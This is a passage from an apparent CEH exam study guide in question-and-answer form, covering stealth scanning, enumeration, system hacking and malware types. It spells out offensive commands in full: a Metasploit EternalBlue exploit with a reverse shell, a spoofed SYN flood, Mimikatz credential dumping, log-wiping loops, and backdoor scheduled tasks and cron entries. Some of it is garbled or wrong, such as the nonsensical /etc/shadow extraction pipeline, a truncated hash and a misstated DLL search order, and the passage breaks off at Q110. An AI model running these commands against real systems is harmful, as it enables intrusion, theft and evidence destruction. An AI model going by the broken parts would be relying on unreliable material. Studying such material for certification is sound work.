Stealth scans minimize detection by IDS/IPS systems. Types: (1) SYN scan — doesn't complete TCP handshake; (2) NULL scan — no flags set; (3) FIN scan — only FIN flag; (4) Xmas scan — FIN+PSH+URG flags (lights up like a Christmas tree); (5) Decoy scan (nmap -D RND:10) — uses random decoy IPs; (6) Idle scan (nmap -sI) — uses a zombie host IP. Example: 'nmap -sX -f -D RND:5 --scan-delay 5s 192.168.1.1' uses Xmas scan with packet fragmentation, 5 random decoys, and slow timing — makes detection and attribution extremely difficult.

Q58 QUESTION

What is SNMP enumeration?

ANSWER

SNMP (Simple Network Management Protocol) enumeration extracts network device information. Community strings: public (read-only, default), private (read-write, often default). Tools: snmpwalk, onesixtyone (community string brute force), Metasploit auxiliary/scanner/snmp. Information gathered: system info, network interfaces, routing tables, running processes, installed software, user accounts. Example: 'snmpwalk -v2c -c public 192.168.1.1 .1.3.6.1.2.1.25.4.2.1.2' lists all running processes on a Windows machine via SNMP — reveals security tools and critical services.

Q59 QUESTION

What are Nmap timing templates?

ANSWER

Nmap timing templates control scan speed vs stealth trade-off. -T0 (Paranoid): incredibly slow, 5-minute delay between probes — IDS evasion, very slow. -T1 (Sneaky): slow, 15 seconds between probes. -T2 (Polite): slower than default, less network load. -T3 (Normal): default. -T4 (Aggressive): faster, assumes reliable network. -T5 (Insane): maximum speed — may miss open ports on slow networks. CEH exam: know T3 is default, T0 is slowest/stealthiest. Example: Slow IDS evasion: 'nmap -T1 -sS 192.168.1.1' — only 1 probe per 15 seconds — most threshold-based IDS won't detect as a scan. Compare: 'nmap -T4' completes in seconds, T0 takes hours.

Q60 QUESTION

What is idle scan (Zombie scan)?

ANSWER

Idle scan (-sI) uses a 'zombie' host as proxy — source appears as zombie's IP, not attacker's. Requires: zombie with predictable IPID sequence (older Windows/Linux). Steps: (1) Send SYN/ACK to zombie — note IPID; (2) Send SYN to target spoofed as zombie; (3) If target port open: target sends SYN/ACK to zombie — zombie RSTs, IPID increments by 2; (4) If closed: IPID increments by 1. Completely untraceable to attacker. Example: 'nmap -sI zombie_host 192.168.1.target -p 80,443,22,3389' — all scan packets appear to come from zombie_host — logs show zombie scanning target, not attacker. Requires finding zombie with predictable IPID.

Q61 QUESTION

What is version detection with Nmap?

ANSWER

Nmap -sV performs service version detection by sending probes and matching responses against a probe database. Intensity levels: --version-intensity 0 (fastest, minimal probes) to 9 (most probes, most accurate). Additional flags: --version-all (try all probes), --version-light (fast subset). Combined: -A flag includes -sV, -O, --script=default, --traceroute. Example: 'nmap -sV --version-intensity 5 -p 22,80,443,8080 192.168.1.1' identifies: '22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5', '80/tcp open http nginx 1.14.0', '443/tcp open ssl/http nginx 1.14.0' — exact version numbers used to search for specific CVEs in ExploitDB.

Q62 QUESTION

What is Nmap output formats?

ANSWER

Nmap output formats for different use cases: -oN [file] (normal human-readable), -oX [file] (XML — importable to Metasploit, Zenmap, reporting tools), -oG [file] (grepable — easy grep/awk parsing), -oA [basename] (all three formats simultaneously). XML import to Metasploit: 'db_import nmap_scan.xml' — populates Metasploit database with hosts, ports, services for use in exploit modules. Example: 'nmap -sV -p 1-65535 192.168.1.0/24 -oA scan_results' creates: scan_results.nmap, scan_results.xml, scan_results.gnmap — share XML with team for import into their tools.

Q63 QUESTION

What is Hping3?

ANSWER

Hping3 is a command-line packet crafter and analyzer. Uses: TCP/UDP/ICMP packet crafting, SYN flood, port scanning, firewall testing, traceroute with custom packets, OS fingerprinting. Key flags: -S (SYN), -A (ACK), -F (FIN), -P (PUSH), -R (RST), -U (URG), -p (destination port), -s (source port), -a (spoof source IP), --flood (flood mode), -c (packet count), -d (data size). Example: 'hping3 -S -p 80 192.168.1.1 -c 5' sends 5 SYN packets to port 80. 'hping3 -S -a 10.0.0.1 --flood -p 80 192.168.1.100' — SYN flood with spoofed source IP. Firewall testing: send ACK packets — if RST received, port unfiltered.

Q64 QUESTION

What is service enumeration with Nmap scripts?

ANSWER

Nmap NSE scripts enhance service detection. Key scripts: http-title (webpage title), http-methods (allowed HTTP methods), ssl-cert (certificate details), ftp-anon (test anonymous FTP), smtp-commands (SMTP commands), ssh-auth-methods (SSH auth types). Example: 'nmap --script=http-title,http-methods -p 80,443,8080 192.168.1.1' — shows page titles and allowed methods. http-methods revealing PUT or DELETE indicates misconfigured web server. ftp-anon reveals anonymous FTP access enabled. ssh-auth-methods showing 'password' means SSH password auth allowed — brute force possible. All scripts run together: 'nmap -sV --script=default 192.168.1.1'.

Q65

QUESTION

What is Zenmap?

ANSWER

Zenmap is the official graphical user interface for Nmap. Features: save and compare scan results, network topology map (visual graph of discovered hosts), profile-based scanning (Intense scan, Ping scan, Quick scan — predefined command sets), command builder (construct nmap commands visually), port/host filtering. Profiles: Intense scan ('nmap -T4 -A -v'), Quick scan ('nmap -T4 -F'), Ping scan ('nmap -sn'), Regular scan ('nmap'). CEH exam: know that Zenmap is Nmap GUI — same functionality, visual interface. Topology map shows network structure discovered during scan — useful for planning lateral movement. Output can be saved as XML, imported into Metasploit.

4 Enumeration

18 Qs

Q66 QUESTION

What is enumeration in hacking?

ANSWER

Enumeration extracts detailed information from target systems about users, groups, shares, services, and configurations. Occurs after scanning and focuses on active connections to query services. Key enumeration targets: NetBIOS/SMB (Windows shares, users), LDAP (Active Directory), SNMP (network devices), DNS (zone transfer, hostnames), NFS (Unix shares), SMTP (valid email addresses). Example: After finding port 445 open with Nmap, enum4linux extracts the full user list, share names, password policy, and OS version – critical for planning credential attacks.

Q67 QUESTION

What is NetBIOS enumeration?

ANSWER

NetBIOS (Network Basic Input Output System) provides naming and session services for Windows networks. Enumeration tools: nbtstat -A [IP] (remote NetBIOS table), nbtscan (scan network for NetBIOS names). NetBIOS name table reveals: machine name (20h=workstation), domain/workgroup (1Eh=group), master browser (1Dh). Example: 'nbtstat -A 192.168.1.10' reveals hostname 'FINANCE-PC01', domain 'CORPORATE', and MAC address – the hostname can be used for targeted password attacks and the domain name confirms Active Directory membership.

Q68 QUESTION

What is LDAP enumeration?

ANSWER

LDAP (Lightweight Directory Access Protocol) enumeration queries Active Directory for users, groups, computers, and policies. Tools: ldapsearch, ADEplorer, Softerra LDAP Browser, BloodHound (for attack paths). Anonymous bind: some configurations allow unauthenticated queries. Example: 'ldapsearch -x -h 192.168.1.1 -b dc=corp,dc=com' with anonymous bind returns all user objects including usernames, email addresses, department, phone numbers, and group memberships – powerful reconnaissance for targeted attacks.

Q69 QUESTION

What is NFS enumeration?

ANSWER

NFS (Network File System) enumeration discovers Unix/Linux file shares. Tools: showmount -e [target] (list exported shares), rpcinfo -p [target] (list RPC services). Vulnerabilities: world-readable exports, no authentication. Example: 'showmount -e 192.168.1.20' reveals '/home/backup *(rw)' – world-readable and world-writable backup share. Attacker mounts: 'mount -t nfs 192.168.1.20:/home/backup /mnt/nfs' – accesses backup files containing SSH private keys, password files, or database dumps.

Q70 QUESTION

What is SMTP enumeration?

ANSWER

SMTP enumeration verifies valid email addresses and usernames using SMTP commands. Commands: VRFY (verify user), EXPN (expand mailing list), RCPT TO (check if recipient valid). Tools: smtp-user-enum, Metasploit auxiliary/scanner/smtp/smtp_enum. Example: 'nc mail.target.com 25' □ 'VRFY jsmith' □ '250 jsmith@target.com' (valid) vs '550 No such user' (invalid). Valid usernames used for: password spraying, phishing, brute force. Defense: disable VRFY/EXPN commands, return generic responses.

Q71 QUESTION

What is DNS enumeration?

ANSWER

DNS enumeration discovers all DNS records associated with a domain. Record types: A (hostname to IP), AAAA (IPv6), MX (mail servers), NS (name servers), TXT (SPF, DKIM, verification), CNAME (aliases), SOA (zone info), PTR (reverse lookup). Zone transfer: if misconfigured, 'dig axfr @ns1.target.com target.com' dumps entire zone — reveals all hosts. Tools: dnsrecon, dnsenum, fierce, Sublist3r. Example: DNS TXT record reveals 'v=spf1 include:mailchimp.com include:google.com' — company uses Mailchimp for marketing and G Suite for email — useful for targeted phishing.

Q72 QUESTION

What is SMB enumeration?

ANSWER

SMB (Server Message Block) enumeration extracts Windows network information. Tools: enum4linux, smbclient, CrackMapExec, Metasploit auxiliary/scanner/smb. Information gathered: shares (IPC\$, ADMIN\$, C\$, custom), OS version, domain, users, groups, password policy. Example: 'crackmapexec smb 192.168.1.0/24' scans the network for SMB, reveals OS versions and hostnames. 'smbclient -L //192.168.1.10 -U anonymous' lists shares. 'crackmapexec smb 192.168.1.10 --users' lists domain users if null session allowed.

Q73 QUESTION

What is enumeration using null sessions?

ANSWER

Null session connects to Windows IPC\$ share without authentication (anonymous). Historically allowed extraction of: user list, group list, share list, password policy, SID information. Windows XP and earlier: null sessions enabled by default. Modern Windows: disabled by default. Tool: 'net use \\192.168.1.10\IPC\$ "" /user:"" — establishes null session, then 'net view \\192.168.1.10' lists shares. Still relevant for legacy systems. Defense: disable null sessions via RestrictAnonymous registry key.

Q74 QUESTION

What is Windows enumeration?

ANSWER

Windows enumeration tools and techniques: (1) net commands — net user (local users), net localgroup administrators (admin group members), net share (shares), net use (mapped drives); (2) wmic — wmic useraccount list (users), wmic process list (processes); (3) PowerShell — Get-ADUser, Get-LocalUser; (4) Remote tools — PsExec, PsInfo; (5) Registry — HKLM\SAM (password hashes), HKLM\SOFTWARE (installed software). Example: Post-compromise 'net user /domain' lists all domain users — used to identify privileged accounts for targeted credential attacks.

Q75 QUESTION

What is Linux enumeration?

ANSWER

Linux enumeration post-compromise: system info (uname -a, /etc/os-release), users (/etc/passwd, /etc/shadow), network (ifconfig/ip addr, netstat, route), processes (ps aux, top), cron jobs (crontab -l, /etc/cron.*), SUID files (find / -perm -4000 2>/dev/null), writable directories, installed packages (dpkg -l), running services (systemctl list-units). Example: 'find / -perm -4000 -type f 2>/dev/null' finds SUID binaries — if /usr/bin/find has SUID, run 'find . -exec /bin/bash -p \;' to get a root shell — classic privilege escalation.

Q76 QUESTION

What is Active Directory enumeration?

ANSWER

Active Directory enumeration maps the domain structure for attack path planning. Tools: BloodHound/SharpHound (collects AD data and visualizes attack paths), PowerView (AD enumeration via PowerShell), ADEplorer, ldapsearch. BloodHound finds: shortest path from owned user to Domain Admin, users with Kerberoastable SPNs, users with unconstrained delegation, AS-REP Roastable accounts. Example: BloodHound reveals that compromised 'helpdesk' account has AdminTo rights on 5 workstations, one of which has a Domain Admin session — attack path to full domain compromise found.

Q77 QUESTION

What is Windows null session enumeration in detail?

ANSWER

Windows null session connects anonymously to IPC\$ share. Commands: 'net use \\192.168.1.10\IPC\$ "" /user:"" & net view \\192.168.1.10' (shares) & 'net user \\192.168.1.10' (users via legacy command — if allowed). Tools that use null session: enum4linux, Metasploit auxiliary/scanner/smb/smb_enumusers. What you can enumerate (if null session allowed): user list, group list, shares, password policy, domain SID. Defense: 'RestrictAnonymous = 2' registry key, 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' group policy. Modern Windows (Vista+): null session enumeration largely disabled by default.

Q78 QUESTION

What is LDAP anonymous bind enumeration?

ANSWER

LDAP anonymous bind allows querying Active Directory without credentials. Check: 'ldapsearch -x -h 192.168.1.1 -b "" -s base namingContexts' (find base DN). If bind allowed: 'ldapsearch -x -h 192.168.1.1 -b "dc=corp,dc=com" "(objectClass=user)" sAMAccountName mail' — lists all users and emails. Use case: even without credentials, enumeration reveals: all usernames (for password spraying), email addresses (for phishing), group names, computer names. Defense: disable anonymous LDAP bind via 'dsHeuristics' attribute — require authentication for all LDAP queries.

Q79 QUESTION

What is SMTP enumeration in detail?

ANSWER

SMTP enumeration discovers valid email addresses. Commands: VRFY user (verify address), EXPN listname (expand mailing list — reveals list members), RCPT TO:user@domain (valid address bounces differently than invalid). Telnet test: 'telnet mail.target.com 25' & 'VRFY jsmith' & '250 jsmith@target.com' (valid) or '550 No such user'. Automated: 'smtp-user-enum -M VRFY -U users.txt -t mail.target.com'. Use case: confirm which users exist before spear phishing or password spraying — avoid sending phishing to non-existent addresses that create bounce alerts. Defense: configure SMTP to return uniform responses regardless of user validity.

Q80 QUESTION

What is RPC enumeration?

ANSWER

RPC (Remote Procedure Call) enumeration identifies services running via RPC. Tools: rpcclient (Linux — 'rpcclient -U "" -N 192.168.1.1'), rpcinfo -p [target]. rpcclient commands: enumdomusers (domain users), enumdomgroups (domain groups), getdompwininfo (password policy), queryuser [RID] (user details), querydispinfo (display user info). Port mapper: port 111 (portmap/rpcbind) tells which RPC services run on which ports. Example: 'rpcclient -U "" 192.168.1.10 -c enumdomusers' & lists all domain users with RIDs (Relative Identifiers) & 'queryuser 0x1f4' & detailed info on Administrator account.

Q81 QUESTION

What is SID enumeration?

ANSWER

SID (Security Identifier) enumeration discovers user accounts by brute-forcing RIDs. Every Windows user/group has unique SID: S-1-5-21-[domain]-[RID]. Well-known RIDs: 500 (Administrator), 501 (Guest), 1000+ (regular users). Tool: 'enum4linux -r 192.168.1.10' or Metasploit 'auxiliary/scanner/smb/smb_lookupsid'. Process: send LookupSid RPC request for each RID (500-1100) — system responds with username if RID exists. Even if administrator renamed, RID 500 always belongs to built-in admin. Example: RID cycling reveals: RID 500=admin (even if renamed 'secureadmin'), RID 1000=jsmith, RID 1001=CEO_Jones — administrator account identified despite renaming.

Q82 QUESTION

What is SNMP v3 vs v1/v2?

ANSWER

SNMP versions: v1/v2c (community string authentication, no encryption — 'public' read-only, 'private' read-write default), v3 (authentication SHA/MD5 + encryption AES/DES — per-user security). Attack: SNMPv1/v2 with default community 'public' — snmpwalk dumps entire MIB. SNMPv3 requires username, auth password, privacy password. CEH tool: onesixtyone brute forces community strings: 'onesixtyone -c community_list.txt 192.168.1.0/24'. Example: Default 'public' community on Cisco router exposes: routing table, interface IPs, ARP table, running config (if SNMP write enabled). Defense: use SNMPv3, disable SNMP if not needed, change community strings.

Q83 QUESTION

What is finger protocol enumeration?

ANSWER

Finger protocol (port 79) provides information about users on Unix/Linux systems. Commands: 'finger @target.com' (list logged-in users), 'finger username@target.com' (user details). Information revealed: username, full name, last login time, idle time, terminal, location. Modern systems: finger disabled by default — security risk. Nmap: 'nmap --script=finger -p 79 target'. Legacy Unix systems may still have finger enabled. Example: 'finger @mail.target.com' returns: Login Name TTY Idle When Where — jsmith John Smith pts/0 2 Thu 09:30 192.168.1.50 — reveals active user session, their source IP, and when they last typed a command. Defense: disable finger daemon (in.fingerd) on all systems.

5 System Hacking

20 Qs

Q84 QUESTION

What are the four steps of CEH system hacking?

ANSWER

CEH system hacking methodology: (1) Gaining Access — exploit vulnerabilities to enter the system (password cracking, exploitation, social engineering); (2) Escalating Privileges — gain higher permissions (local admin to SYSTEM/root); (3) Maintaining Access — ensure persistent access (backdoors, rootkits, scheduled tasks); (4) Clearing Tracks — remove evidence (log clearing, timestamp modification). Example: Gain access via SMB exploit (EternalBlue) □ escalate from user to SYSTEM via MS16-032 □ install Meterpreter as a service □ clear Windows event logs with Meterpreter's 'clearev' command.

Q85 QUESTION

What is password cracking and what are its techniques?

ANSWER

Password cracking recovers plaintext from hashed or encrypted passwords. Techniques: (1) Dictionary attack — try wordlist (rockyou.txt — 14M passwords); (2) Brute force — try all combinations (slower); (3) Rule-based attack — apply rules to wordlist (append '123', capitalize first letter); (4) Rainbow table — precomputed hash lookup; (5) Pass-the-hash — use NTLM hash directly without cracking. Tools: Hashcat (GPU-accelerated), John the Ripper. Example: Hashcat cracks NTLM hash in seconds with GPU: 'hashcat -m 1000 hash.txt rockyou.txt -r rules/dive.rule'.

Q86 QUESTION

What is Metasploit Framework?

ANSWER

Metasploit is the most popular exploitation framework. Components: msfconsole (CLI), modules (exploit, auxiliary, post, payload, encoder, nop), msfvenom (payload generator). Workflow: search [exploit] □ use [exploit/path] □ set RHOSTS [target] □ set PAYLOAD [payload] □ set LHOST [attacker] □ exploit. Example: 'use exploit/windows/smb/ms17_010_eternalblue' □ 'set RHOSTS 192.168.1.10' □ 'set PAYLOAD windows/x64/meterpreter/reverse_tcp' □ 'set LHOST 192.168.1.99' □ 'exploit' — spawns Meterpreter session on unpatched Windows 7/2008.

Q87 QUESTION

What is privilege escalation?

ANSWER

Privilege escalation gains higher access level than originally granted. Vertical: low user □ admin/SYSTEM/root. Horizontal: user A accesses user B's resources. Windows techniques: (1) Unquoted service paths; (2) DLL hijacking; (3) Token impersonation (Meterpreter: getsystem); (4) Kernel exploits (MS16-032, MS14-058); (5) AlwaysInstallElevated (MSI install as SYSTEM). Linux techniques: (1) SUID exploitation; (2) Sudo misconfigurations; (3) Cron jobs; (4) Kernel exploits; (5) Writeable /etc/passwd. Example: Unquoted service path 'C:\Program Files\Vuln App\service.exe' — place malicious 'Program.exe' in C:\ — service runs as SYSTEM and executes attacker's file.

Q88 QUESTION

What is Meterpreter?

ANSWER

Meterpreter is Metasploit's advanced payload — runs entirely in memory (no file on disk), encrypted communications, extensible with plugins. Commands: sysinfo (system info), getuid (current user), getsystem (privilege escalation), hashdump (dump password hashes), download/upload (file transfer), screenshot (take screenshot), keyscan_start/dump (keylogger), run post/multi/recon/local_exploit_suggester (find privilege escalation paths), clearev (clear event logs), migrate [PID] (migrate to another process). Example: 'migrate 1234' migrates Meterpreter into explorer.exe — makes detection harder since malicious code runs inside a trusted process.

Q89 QUESTION

What is password hashing and common Windows/Linux formats?

ANSWER

Password hashing stores passwords as one-way hashes. Windows: LM hash (DES-based, very weak – split into two 7-char pieces), NTLM hash (MD4 of Unicode password – weak, no salting), NTLMv2 (challenge-response, stronger). Linux: /etc/shadow stores: \$1\$ (MD5), \$5\$ (SHA-256), \$6\$ (SHA-512 – current standard), \$y\$ (yescrypt). Stored as: \$algorithm\$salt\$hash. Example: Windows NTLM: 'aad3b435b51404eeaad3b435b51404ee:8846f7eae8fb117ad06bdd830b7586c' – LM empty + NTLM hash of 'Password' – cracks in seconds without GPU.

Q90 QUESTION

What is keylogging?

ANSWER

Keylogging records keystrokes to capture passwords and sensitive information. Types: (1) Software keylogger – hooks Windows API (SetWindowsHookEx), intercepts keystrokes; (2) Hardware keylogger – physical device between keyboard and computer (USB/PS2); (3) Kernel/rootkit keylogger – deepest level, hardest to detect; (4) Hypervisor-based – below OS. Metasploit: 'keyscan_start' □ user types banking password □ 'keyscan_dump' □ reveals plaintext credentials. Defense: virtual keyboards for passwords, endpoint security, USB device control, behavior monitoring.

Q91 QUESTION

What is pass-the-hash (PtH)?

ANSWER

Pass-the-hash authenticates using the NTLM hash without knowing the plaintext password. NTLM authentication doesn't verify plaintext – only the hash. Tools: Mimikatz (sekurlsa::logonpasswords to dump hashes, sekurlsa::pth to pass), Metasploit (psexec with hash), CrackMapExec (--hash flag). Example: Compromised workstation □ Mimikatz dumps admin hash '8846f7eae8fb117ad06bdd830b7586c' □ CrackMapExec: 'cme smb 192.168.1.0/24 -u administrator -H 8846f7eae8fb117ad06bdd830b7586c --local-auth' – authenticates to all machines sharing the same local admin password hash.

Q92 QUESTION

What is a rootkit?

ANSWER

A rootkit hides malicious code and its activities from the OS and security tools. Types: (1) User-mode rootkit – hooks API calls, hides processes/files from tools querying OS; (2) Kernel-mode rootkit – modifies kernel structures, deepest level, hardest to remove; (3) Bootloader/Bootkit – persists in MBR/UEFI, survives OS reinstall; (4) Hypervisor rootkit – runs below OS (Blue Pill, Venom). Detection: boot from external media, memory forensics, hash comparison of system files, CHKROOTKIT, RKHunter. Example: Necurs rootkit – kernel-mode, hides its DLL, protects its process, disables Windows Defender – survived reboots via boot sector modification.

Q93 QUESTION

What is steganography?

ANSWER

Steganography hides data within other data without obvious detection. Methods: LSB (Least Significant Bit) – replace lowest bit of pixel values with secret data (invisible to naked eye), image noise addition, text watermarking, file format metadata, network steganography (data in TCP/IP header fields). Tools: Steghide, OpenStego, S-Tools, SilentEye. CEH context: attackers exfiltrate data by hiding it in images uploaded to legitimate services. Example: Hidden command to malware embedded in a landscape photo on a public website – malware downloads image and extracts C2 instructions from pixel LSBs.

Q94 QUESTION

What is log tampering and track covering?

ANSWER

Log tampering removes evidence of attacker activity. Windows: 'wevtutil cl System', 'wevtutil cl Security' (clear event logs), Metasploit clearev. Linux: 'echo > /var/log/auth.log' (clear auth log), 'history -c' (clear bash history), modify timestamps with 'touch -t'. Anti-forensics: shred (overwrites files before deletion), BleachBit, timestomping (modify MAC times). Meterpreter: clearev clears Windows event logs. Defense: centralized logging (SIEM) — logs shipped to remote server immediately, cannot be cleared on compromised host. Example: After attack, attacker runs 'for logs in /var/log/*; do cat /dev/null > \$logs; done' — wipes all logs on Linux system.

Q95 QUESTION

What is DLL hijacking?

ANSWER

DLL hijacking exploits Windows DLL search order to load a malicious DLL instead of legitimate one. Windows DLL search order: application directory □ system32 □ system □ Windows directory □ current directory □ PATH. If application loads 'version.dll' from its directory but the DLL doesn't exist, place malicious 'version.dll' in the app directory — application runs the malicious DLL with its privileges. Example: VLC media player historically vulnerable — place malicious 'plugins\libvlc_plugin.dll' in VLC directory — executes code with VLC's user privileges. If VLC runs as SYSTEM (service), attacker gets SYSTEM privileges.

Q96 QUESTION

What is token impersonation?

ANSWER

Token impersonation uses a security token from another process to elevate privileges. Windows uses access tokens representing identity and privileges. Meterpreter commands: 'use incognito' □ 'list_tokens -u' (list available tokens) □ 'impersonate_token DOMAIN\Administrator' (impersonate admin token). Technique: if a process running as DOMAIN\Administrator is running on the compromised machine, steal its token. Example: Meterpreter on low-privilege user □ list_tokens □ Domain Admin token available (admin opened an RDP session) □ impersonate token □ runs commands as Domain Admin without knowing the password.

Q97 QUESTION

What is Windows password cracking?

ANSWER

Windows password cracking targets SAM (Security Account Manager) database. SAM location: C:\Windows\System32\config\SAM — locked during OS operation. Extraction methods: (1) VSS shadow copy: 'vssadmin list shadows' □ copy SAM from shadow; (2) reg save — save registry hives: 'reg save HKLM\SAM sam.hive'; (3) Metasploit hashdump module; (4) Mimikatz — dump from memory. Hash types: LM (DES-based, pre-Windows Vista), NTLM (MD4 of Unicode password). Crack with Hashcat: -m 1000 (NTLM), -m 3000 (LM). Example: hashdump output: 'administrator:500:NO PASSWORD:::' (LM disabled) + NTLM hash — crack NTLM with hashcat using rockyou.txt.

Q98 QUESTION

What is Linux password cracking?

ANSWER

Linux passwords in /etc/shadow (readable only by root). Format: username:\$algo\$salt\$hash:lastchange:min:max:warn:inactive:expire. Algorithms: \$1\$ (MD5), \$5\$ (SHA-256), \$6\$ (SHA-512 – most common). Extract: `cat /etc/shadow (requires root) | tr -s ' ' | sed 's/./ /g' | tr ' ' '\n' | sort | tr '\n' ' '` copy hashes. Crack with John: `'john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt'`. Crack with Hashcat: `-m 1800 (sha512crypt $6$). Unshadow: combine /etc/passwd and /etc/shadow: 'unshadow passwd.txt shadow.txt > combined.txt' then crack. Example: $6$random_salt$[512bit_hash] – SHA-512 with salt – Hashcat on GPU: ~5 million hashes/second – 8-char lowercase cracked in hours.`

Q99 QUESTION

What is Mimikatz?

ANSWER

Mimikatz is the most powerful credential extraction tool for Windows. Commands: `sekurlsa::logonpasswords` (dump plaintext passwords and NTLM hashes from LSASS memory – requires SYSTEM), `sekurlsa::wdigest` (dump WDigest credentials – enabled on pre-Win8/2012), `lsadump::sam` (dump SAM database), `lsadump::dcsync /user:Administrator` (replicate AD and extract hashes – requires Domain Admin), `sekurlsa::pth /user:Administrator /domain:CORP /ntlm:hash /run:cmd.exe (pass-the-hash)`. Example: Running Mimikatz as SYSTEM: `'privilege::debug' | 'sekurlsa::logonpasswords'` reveals plaintext password 'P@ssw0rd' for user 'CEO_jsmith' logged into this server – immediate domain compromise if admin.

Q100 QUESTION

What are Windows persistence techniques?

ANSWER

Windows persistence ensures continued access after reboot. Methods: (1) Registry run keys – `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` – runs payload at user login; (2) Scheduled tasks – `'schtasks /create /tn "WindowsUpdate" /tr C:\backdoor.exe /sc onlogon /ru SYSTEM'` – runs as SYSTEM on login; (3) Service installation – `sc create` or Metasploit `'run post/windows/manage/persistence_exe'`; (4) DLL hijacking – persistent DLL executed by trusted application; (5) Startup folder – `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`; (6) COM hijacking – register malicious COM object in HKCU (no admin required). Example: Metasploit: `'run post/windows/manage/persistence STARTUP=SCHEDULER'` – creates scheduled task running reverse shell on system startup.

Q101 QUESTION

What is unquoted service path exploitation?

ANSWER

When Windows service binary path has spaces but no quotes, Windows tries each space as potential path end. Vulnerable path: `'C:\Program Files\My Service\myservice.exe'`. Windows tries: `C:\Program.exe` | `C:\Program Files\My.exe` | `C:\Program Files\My Service\myservice.exe`. If attacker can write `C:\Program.exe` (requires write permission to `C:\`), service executes attacker's program as SYSTEM. Detection: `'wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\"'` – lists all services with unquoted paths. Fix: add quotes: `'sc config "ServiceName" binpath= ""C:\Program Files\My Service\myservice.exe""'`.

Q102 QUESTION

What is AlwaysInstallElevated privilege escalation?

ANSWER

AlwaysInstallElevated is a Windows registry misconfiguration allowing any user to install MSI packages as SYSTEM. Check: 'reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated' AND HKLM equivalent – both must be 1. Exploit: msfvenom creates malicious MSI, msixexec installs as SYSTEM. Metasploit module: 'use exploit/windows/local/always_install_elevated'. Detection: PowerUp.ps1 includes AlwaysInstallElevated check. Fix: set both registry keys to 0. Common finding in CTFs and real-world assessments on misconfigured enterprise machines with group policy errors.

Q103 QUESTION

What is scheduled task persistence?

ANSWER

Scheduled tasks run payloads automatically on triggers. Windows: 'schtasks /create /tn "SystemCheck" /tr C:\Windows\Temp\backdoor.exe /sc onstart /ru SYSTEM /f' – runs as SYSTEM at system start. List tasks: 'schtasks /query /fo LIST /v'. Modify existing task: replace legitimate executable with malicious version. Metasploit: 'run post/windows/manage/persistence STARTUP=SCHEDULER'. Linux cron: add to crontab: '* * * * * /tmp/.hidden/shell' – runs every minute. /etc/crontab: '@reboot root /tmp/backdoor' – runs as root at reboot. Detection: monitor schtasks and crontab for unexpected entries, Windows Task Scheduler event log, Sysmon event ID 1 (process creation) for scheduled task execution. CEH: clearing schtasks after pen test engagement is required in cleanup phase.

6 Malware Threats

18 Qs

Q104 QUESTION

What are the types of malware in CEH v13?

ANSWER

CEH malware types: Virus (attaches to files, requires user action), Worm (self-replicating, no user action — WannaCry spread via EternalBlue), Trojan (disguised as legitimate software), Ransomware (encrypts files — LockBit, REvil), Spyware (monitors user activity), Adware (displays ads), Rootkit (hides malware), Keylogger (captures keystrokes), Botnet (network of infected zombies), Fileless malware (runs in memory — PowerShell Empire), RAT (Remote Access Trojan — njRAT, DarkComet), Dropper (installs other malware). Example: Emotet dropper downloads TrickBot which drops Ryuk ransomware — classic malware chain.

Q105 QUESTION

What is a Trojan and how does it differ from a virus?

ANSWER

Trojan: disguises as legitimate software to trick users into running it — does NOT self-replicate. Types: RAT (Remote Access Trojan — full remote control), banking Trojan (steals financial credentials — Zeus, Dridex), downloader Trojan (downloads additional malware), proxy Trojan (routes attacker traffic), destructive Trojan (deletes files). Virus: self-replicates by attaching to legitimate files. Example: Attacker sends 'Resume_2024.exe' — appears to be a PDF (double extension or fake icon) — user runs it — installs njRAT giving attacker full control (webcam, keylogger, file access, remote shell) without user awareness.

Q106 QUESTION

What is a RAT (Remote Access Trojan)?

ANSWER

RAT provides attackers with remote administrative control over infected systems. Features: remote shell, file management, keylogger, webcam/microphone access, screenshot, process management, registry editing, password theft. Popular RATs: DarkComet (deprecated but widely used in CEH labs), njRAT, Quasar RAT (open source), AsyncRAT, Remcos. Example: Attacker creates DarkComet payload □ binds to PDF viewer □ sends via email □ victim opens 'invoice.pdf.exe' □ RAT connects back to attacker's server □ attacker sees victim's screen, accesses all files, activates webcam for surveillance.

Q107 QUESTION

What is a computer virus and its life cycle?

ANSWER

Virus life cycle: (1) Design — write virus code; (2) Replication — virus spreads by infecting files; (3) Launch — triggered by event (date, action, boot); (4) Detection — AV detects; (5) Elimination — AV removes. Virus types: Boot sector virus (infects MBR), File infector (attaches to .exe/.com), Macro virus (Word/Excel macros), Polymorphic virus (changes code each infection), Metamorphic virus (rewrites entire code), Network virus (spreads via network shares), Multipartite (infects both boot sector and files). Example: Macro virus in Word document — when document opened and macros enabled, virus spreads to all other Word documents and executes payload.

Q108 QUESTION

What is ransomware and how does it work technically?

ANSWER

Ransomware encrypts victim's files and demands payment. Technical process: (1) Initial access (phishing, RDP brute force, vulnerability exploitation); (2) Persistence (registry run key, scheduled task); (3) Credential theft (Mimikatz); (4) Lateral movement (spread to file servers); (5) Shadow copy deletion (vssadmin delete shadows /all); (6) File encryption (AES-256 for files, RSA-2048 for AES key); (7) Ransom note deployment; (8) Exfiltration (double extortion). Example: LockBit 3.0 uses ChaCha20 for file encryption with RSA-4096 for key exchange — each victim gets unique key — payment via Tor onion address.

Q109 QUESTION

What is a botnet?

ANSWER

A botnet is a network of compromised computers (bots/zombies) controlled by a command-and-control (C2) server. C2 architectures: centralized (single C2 server – easier to take down), peer-to-peer (P2P – no single point of failure – Gameover Zeus), fast flux (C2 IP changes rapidly). Uses: DDoS attacks, spam sending, credential stuffing, cryptocurrency mining, ransomware delivery. Example: Mirai botnet compromised 600,000+ IoT devices using default credentials (admin/admin), launched 1.2 Tbps DDoS attack against Dyn DNS – took down Twitter, Netflix, Reddit in 2016.

Q110 QUESTION

What is fileless malware?

ANSWER

